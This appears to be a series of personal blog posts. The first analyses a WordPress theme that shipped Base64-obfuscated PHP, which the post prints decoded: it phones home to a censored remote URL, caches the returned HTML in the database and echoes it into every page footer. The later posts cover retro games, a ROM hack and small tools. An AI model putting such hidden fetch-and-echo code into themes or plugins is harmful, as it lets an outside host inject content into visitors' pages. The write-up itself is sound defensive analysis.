On March 9th, 2020, I opened this blog and noticed something wasn't right.

An exploit. I knew, first of all, my domain wasn't expired-- plus if it was, it wouldn't be accompanied by this sketchy ad. My web host isn't like that.

First order of business: right click view source to get a sense of it. It's something emitted server-side as opposed to something directly from theme code. Of course, I guess.

Then narrow down the repro. I confirmed that it

• Persists across browsers
• only reproes with this WordPress instance, not with non-Wordpress-based web sites on the same domain
• only reproes with this particular WordPress theme not other themes

I was surprised by it being specific to the theme, since I had a lot of a hand in the theme. I didn't knowingly add or notice anything that could be a vulnerability. That being said, it was a theme I downloaded off the internet as a starting point, so who knows.

Since I keep a backup of the WordPress and theme files in a Git enlistment, I downloaded them from the web space back into the enlistment and looked for a delta. No delta.

That means two things:

• The theme wasn't corrupted. If there's a problem with it, the problem's been there since the beginning.
• The corruption is more likely to be in the database.

While I have backup exports of the database, I didn't have a current enough one to conveniently use as a delta unless I absolutely had to. Open PHPMyAdmin just for kicks. The theme-specific records I knew to be in wp_options so I looked there. There are not all that many records so I scrolled through and looked for clues.

There I saw a suspicious record: "credit_text2" and lo and behold, the value was a bunch of html which looked very similar to the stuff I saw in inspect element at the beginning of this. It was accompanied by other records, "credit_text", "credit_date", and "credit_date2".

I had another WordPress instance handy for testing stuff. Looking at its database, it did not have these records. Therefore, the records were added either by the exploit or something specific to the theme. Knowing that it wasn't something specific to WordPress, I figured just web search for it since the results would be unlikely to be filled up with everyday usage documentation-- and lo and behold, someone else was victim to the same thing. He pinned down the exploit and gave a really good explanation. He used the Exploit Scanner plugin. I verified it- my web site was victim to the same exploit.

And it turns out, the theme I downloaded actually shipped with this code, encoded in two layers of Base64:

function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("http://www.w***p****t********.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else { 
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

and also, this:

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.w***p****t*******.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}

(I censored the URL.)

Like I said this code was not plainly there, it was obfuscated beneath two layers of Base64 encoding, otherwise it would have been easier to spot how the theme was adding records.

If you take away the sketchy URL and code obfuscation, it actually doesn't seem too malicious. It looks up your theme from a web site, presumably where you got the theme from-- and credits the author.

Maybe the theme wasn't shipped with a malicious vulnerability, but the vulnerability fits into this page-breaking scenario.

Suppose there could have been plans to monetize WordPress themes, where you'd have themes phone home to make sure you have paid for them. The paywall is secured by obscurity, hence the Base64 encoding. And the web site validating the paywall used to be something, now it's been changed to something else who doesn't want to maintain it or do us the courtesy of serving a more helpful request response than the whole web page in all its sketchiness. Fixing this problem is effectively unhooking from the paywall then. This particular theme, in any case, was free when I got it. I would link to it but the web site appears to be defunct. This was from a long time ago.

This code showed something else reassuring: that there wasn't a bad actor using SQL injection to add or edit random records in WordPress's database. Instead, the records were being edited by my web site itself.

The disturbing part, and the nature of the vulnerability, is you've effectively got a theme downloading text from an external web site and echoing it to your blog, trusting that the external web site serves up something sensible.

Anyway, the problem was simple enough to remove from theme and database.

I think WordPress and general CMS are good in some ways, and bad in some ways.

It's good in how many problems it solves for you and how it opens up web site building to more people. There are certain people who can make web sites with CMS that would not otherwise be able to.

It's bad in how far you're removed from the web page that ultimately gets served up to your web site visitors. If something goes very wrong and you need to debug it, even if it's something simple, you need to know something about the expansion of so many layers of terms, the evaluation of server-side functions. (If you are pro web developer you may even debug those functions.) Can I know every single server-side script, client-side script, or piece of markup that comprises a CMS-built site? No, and that's the problem. How am I supposed to be confident that my site is trustworthy? Yeah yeah, every tech has this problem, you call code you don't own, etc. I'm claiming that the problem is worse with CMS, particularly where themes and plug-ins are involved, because there aren't clean boundaries of trust.

Clean boundaries of trust. Let me say what I mean.

Suppose you have a blog. You want to spruce it up a little, so you install a theme to it. Not even a plugin, a theme, with the expectation that it simply makes some aesthetic enhancements.

• Where does the theme's code get inserted? Is it componentized? Answer: It is not. Or at least, it doesn't have to be. While themes straddle a well-defined set of files, their code can called by any other part of your WordPress code, effectively sprinkling the theme code everywhere it wants to be.
• When will its code execute? Is the resultant code constrained to only modifying client-side behaviors? Answer: No, the theme code could execute anywhere, and involve all kinds of server-side behaviors. Maybe you can debug it yourself if you're curious.
• What permissions does the code have? Answer: The theme has all permissions. It has database access. It can do anything.

The word "theme" makes it sounds a lot more limited-privilege than it actually is. It makes it sound like you are just downloading some CSS file.

With CMS it's not enough to just write a bunch of markup, and clearly see the connection between the web page contents and the markup. Half the internet is delicately balanced on the whims of random plug-in authors and no one sees this as a problem. Technical people take the position of "well, that won't happen to me, because I can debug my web site" and non-technical people take the position "it's the only way I can make a web site, so there's no alternative". I guess this is all the way of the world, but if it is then (warning: hot take!) maybe not literally every web site ever should be CMS. Anyway I don't want to be a person who balances their life on big, convenient layers of magnificent technology that are impossible to understand. With this you are really at the mercy of this content generation system. This kind of thing sucks so much.

Guys, I just wanted to put my images and text onto the information superhighway. Maybe the best solution is to leapfrog web 2.0 and go right to web 3.0. Something something social AI blockchain

They are so uncommon let's take a second to appreciate SNES games with functional loading screens.

Game: Civilization 1
Loading time: ~40 seconds
Purpose: When you create a new game. It is procedurally generating the terrain of the map, placing the other civilizations you're playing with. Rather than a fixed map, it gets randomly generated each time plus the algorithm is customizeable to include different kinds of climates and features. The longest load time I have seen on this platform.

A video: https://youtu.be/oWtVe2qm7_w?t=129 (not mine, random search off youtube)

Game: Romance of the Three Kingdoms IV: Wall of Fire
Loading time: 2 or 3 seconds
Purpose: When you create a new game. Procedurally generating what commander has what resource allocations, which officers are where. Although the game comes with a fixed set of "scenarios", you can create your own commander and/or officers and choose who to control. I believe this, plus the difficulty level affects where the game places things and there are too many combinations to pre-compute them.

Game: Another World (also called, Out of this World)
Loading time: ~10 seconds
Purpose: Transitioning out of a simple menu, into the game

This game is, in a word, ambitious. Big, lush backgrounds with lots of things animating. Nothing looks like 'sprites'; they look like 2D vector graphics rasterized to low resolution to be honest.

This game was originally for Amiga and ported to SNES. The graphics have a unique style which unfortunately doesn't fit well to SNES technical constraints, which tend to involve either conventional 2D graphics modes with heavily re-used sprites, or just Mode 7-- neither of which fit this game well. Now that's not to say it can't work. Take, for example, the backgrounds of Super Mario RPG or Wonder Project J. You can make smart judgments about when to re-use sprites and try to hide them among the other elements. Of course, those games were designed from the ground-up for SNES. For this game, conversion to sprites would be an after-thought with the port. The sheer amount of graphics this game has is very large and scenes are organized in ways that are hard to break down into patterned elements.

While I don't tend to like this type of game- the latency of controls is so slow and loose, for one-- I respect its commitment to the unique art style. Given everything this game has going on, the loading screen is not frivolous.

Game: Sim City
Loading time: ~12 seconds
Purpose: When previewing the terrain on which to build your city- there are 1000 terrains (e.g., random seeds). Note that the load time is NOT just for creating a game with the level- it's to let you view a small 120x100 image. This, plus the instantaneous "OK" button tells us two things. First, there was not enough space on the cart to store 1000 of these images. Second, unpacking the preview image is about the same as unpacking the full map. While I think all of this is okay, they could have done with fewer better-optimized seeds. Fortunately the instruction manual has a couple pages of previews of maps which you can flip through quickly.

Game: Batman Forever
Loading time: ~5 seconds
Purpose: Transitioning out of cutscene into gameplay. Likely to be graphics-related. There are big, detailed sprites with lots of frames of animation.

Although there's an explanation for a load screen, it may not have been completely necessary. At 24Mbit, the cart is not that small; it's very likely the graphics could fit without super aggressive compression schemes. Some contributing factors to the need for load time may have been 1) the fact that this game is a port, and there wasn't time to optimize for any particular platform, and 2) these flashy 3D wireframe-map montage scenes, which would require different types of data and loader code.

Although this game gets a bad rap I respect its live-action-to-low-res-low-color Mortal Kombat aesthetic.

Maybe others I haven't encountered yet.

See, a couple big things affecting our modern conception of loading screens are optical media and network latency's failure to keep up with increasing size of game payloads. Computationally, modern computers have advanced a lot to the point where it is rare to see games spinning on procedural content like this, but it is common to spend a lot of time copying game assets from an optical medium to faster local solid-state storage, or downloading game assets from the internet.

There have been some modern efforts to curb load times. For example the Nintendo Switch had a return to a faster-than-optical-disk game media. You know, a cartridge. However, many Nintendo Switch games- non-procedural, fixed-level action games do have loading screens- screens which would have been unacceptable in 1995 but are acceptable now since we are used to them.

Earth, who wore it better?

left: E. V. O. (SNES) right: Civilization (SNES)

Finished Donkey Kong Country 2: Diddy's Kong Quest. This was a co-operative gameplay I finished with a couple friends as a follow up to our completion of Donkey Kong Country 1.

Completion time: about a year, since we played in small increments once in a while.

Game is longer and a lot spicier than 1. Some levels gave us a very hard time. Yeah I am a big fan of the minecart autoscroller.

Time and time again I am really impressed by how much graphics can be fit on a SNES cart. The levels are all full of lush, irregularly-shaped (non-tiled-looking) elements without a lot of repetition; sprites are big with lots of animations, lots of frames in each one; backgrounds have a lot of variety. At the same time, it also doesn't appear they got too fancy with storage of graphics. I looked at the ROM and could spot at least some 4bpp graphics data stored plain, uncompressed. They just used a big cartridge-- 32mb, big for this console.

The technical high points for this game are offline rather than online of course. These are pre-rendered 3D models rendered with Silicon Graphics software, likely on CPU, baked into a bunch of 2D sprites. Everyone likes this. I can't think of a single fourth-console-generation game which does this and looks bad. More games would have surely done it if it wasn't so expensive back then, in terms of money.

Only criticism is I was disappointed with the final boss fight. The fight from DKC1 established a pretty high bar, to be fair- it had that cool "fake credits then surprise there's more". Not saying DKC2 had to replicate that, but maybe the final boss could have had something else cool. Nope. You fight King K Rool on a pirate ship. He throws projectiles. Pretty standard stuff. Maybe they thought no one would get far enough to see that, due to Windy H̶e̶l̶l̶ Well.

You know, tetris?

Computers can be used for many things. Reading books, watching sports games, communicating with others. In your life, you may even come to play some games on your computer. Some of those games may have been good. Some may have been fun. This is not one of those.

This is the game as usual with one thing changed: the camera is locked to the current piece in flight. It moves along with the piece, and rotates too. Suggestion: appreciate the concept but do yourself a favor and don't play it

https://github.com/clandrew/sirtet/

One of my favorite retro sports games is Ice Hockey for the NES. This game gets overlooked because it's on the simplistic side and not tied to a real-life franchise, but it's still a good time.

I started getting into watching hockey streaming so I've been playing this game as something to do during intermission or when waiting for the game to start. One thing led to another and I ended up making a romhack to change the sprites over to be female looking.

Before:

After:

Some more gameplay

Here's a demo of using the tool for simple task of crossing-out the puck sprite

Instead of crossing out the puck I made other changes to the sprites of course, and used this tool to import them back into the ROM.

Ultimately it may have been possible to use someone's already-made tool in lieu of making a new one. I tried one, YY-CHR since it's popular. But, I had problems getting it to understand externally-pasted or externally-imported images, and YY-CHR's built-in image editor was not sufficient for my workflow. If that one didn't pan out, it may not bode well for the others. Since I was familiar with the image formats it was not too much to simply make a new thing.

About this game's mechanic, if you aren't familiar- this is 4-on-4 hockey. Skater players come in three varieties: light, medium and heavy.

• The light skater is fast but has a weak shot and can be knocked over easily.
• The heavy skater is slow but has a strong shot and tends not to get knocked over.
• And, the medium skater is in the middle.

You pick what type your 4 players should be. A typical game involves a balance of skaters, although ultimately it's up to you.

The players, ref, goalie and zamboni driver are edited. 👍

To play it you don't need to use the tool, of course. I'm posting a patch so you can just patch your ROM.

Click here to download the patch (IPS). Patch was created using LunarIPS. LunarIPS is also recommended for applying patches. Apply the patch to an unzipped, NA release ROM, size 40976 bytes. Don't hesitate to contact me if you want to play but don't know how any of this works, I'll set you up.

And click here to download the source spritesheets if you want them for some reason.

If you want to change the sprites to fit your own creative inspiration, you too can use the tool I made, posted to GitHub here.

Update (1/15/2020): Fixed missing bun in one frame of heavy player animation, fixed back-of-ref's-head-during-penalty animation

Finished Code Vein (PS4)

Visual style: modern JRPG
Gameplay: Souls-like

The game takes place in a dystopic future where vampires were created to fight in a war against an evil force. Bad news #1 The government is trying to get ways to harvest blood to sustain the vampires, but it's not going as smoothly as they hoped. Bad news #2 the evil force is not really gone.

One innovation they added is a 'companion' system where an AI-controlled NPC accompanies you basically at all times. The AI is competent and not a liability like in some games.

The game improves on Souls in some areas.
- Online matching system. Match with anyone! Your and their levels are scaled to match so it's fair.
- The class system makes it so you can't irreparably screw yourself through uninformed decisions.
- A map
- Healing item cooldown makes it harder to accidentally waste heals
- AI is 'smart', doesn't randomly jump off ledges.

I was nervous they might have strategically put the best environment in the demo I played. But, no, the demo was representative. The environments were consistently good. Big complicated areas, detailed rooms without copypaste, interesting stuff to look at far into the horizon.

Although the game is not perfect (nothing is, right?), no one in the art team seems to care about CLIPPING, as far as I'm concerned it's a 'perfect score' game. It doesn't happen every day there something which takes so many interesting risks, turns, stylistic decisions.

Although I did 4 playthroughs I still want to do some more things. A bunch of the replay-ability comes from the multitude of classes ('blood codes') and multiple endings, which range from 'uplifting' to 'stomp your heart into a zillion pieces'.

The game is a bit violent and sleazy so maybe not appropriate for all audiences. But it is really good. I hope there will be a sequel or DLC.

I made a tool for converting a spritesheet into an animated GIF.

This program was borne out of a similar situation as the text editor one. I needed some functionality that was super simple but couldn't find exactly the right thing in an existing program.

I used to use a web application for doing work like this, but I don't like depending on web apps where it's not strictly necessary. Why, because when you upload your files or data somewhere, you're putting a lot of trust in that other party. They probably wouldn't mis-use your data, and the data isn't anything sensitive anyway, but the principle of it is undesirable.

There's also the fact that a web application is so much overkill for the task at hand. Think about it. Why do I need a full web stack, javascript interpreter, communication across text protocols, etc for something so simple like resizing an image, or changing the encoding? It boggles the mind. It's like SHOUTCLOUD but not ironic. I have nothing against web applications, but I don't think everything needs to be a web application. That stack is too thick.

As for the whole world heading to web applications, maybe that's inevitable. This idea could become feasible as internet infrastructure improves- in many countries it is not all that fast or always-on-and-everywhere, right now. The principle of a thin client with a smart server and a good internet connection seems interesting.

But why do these this future "web app" need to run in a browser? Why does it need to be built on HTTP, of all things? Remember, there's a difference between "internet" and "web pages". There was internet before web pages. There might well be internet after them. What is so holy about HTTP? It's hard to see anything good or holy about it, other than it's a standard (ish!) borne out of 2 decades of blood and tears. If you've had to do any work on a web browser, you'd know. I did a little. I've seen enough.

Indeed, a thin client can't even be all that thin if it can parse and display web page content. HTML5+Canvas, CSS, JS, SVG, weird extensions and back compat... there are a lot of sub-technologies required to get a competent web browser and light up even basic, typical scenarios. A lot of things could work via a simple page but in practice they do not. In the late 2010s it's not uncommon to see >10MB payloads for viewing a single site, and for pages where that payload isn't all images or video- pretty common- you can imagine the CPU necessary for unpacking some of that.

Put it all together with the fact that local computation, device battery life and internet connectivity haven't really kept up with rising web site complexities. If they did, none of this would even be a problem. I wanted to hold some optimism for here for phone apps but I highly suspect they're usually coded as web applications, hosted in web browser containers anyway.

It's nice, the idea of side-stepping that entire stack and running a program natively on your computer. If the program was written competently, it has a good chance of not being flaky. At least, it is not likely to be screwed by tech on which it is built.

Web pages are good for some things, things based around displaying text and images which are updated remotely. Maybe some light games. But you should probably not run your traffic lights, your pacemaker in a web app.

Anyway, as for this program- it runs natively, and includes some features that are useful for what I needed out of it.

Find it here on GitHub.

A cool (and hot!) boss fight in Code Vein. Guest appearances from Louis and random internet person.

Am I the only one annoyed by the phrase "buttery smooth UI"? It has this tendency to mean "unnecessary transitions, 2D graphics with surprisingly high cost"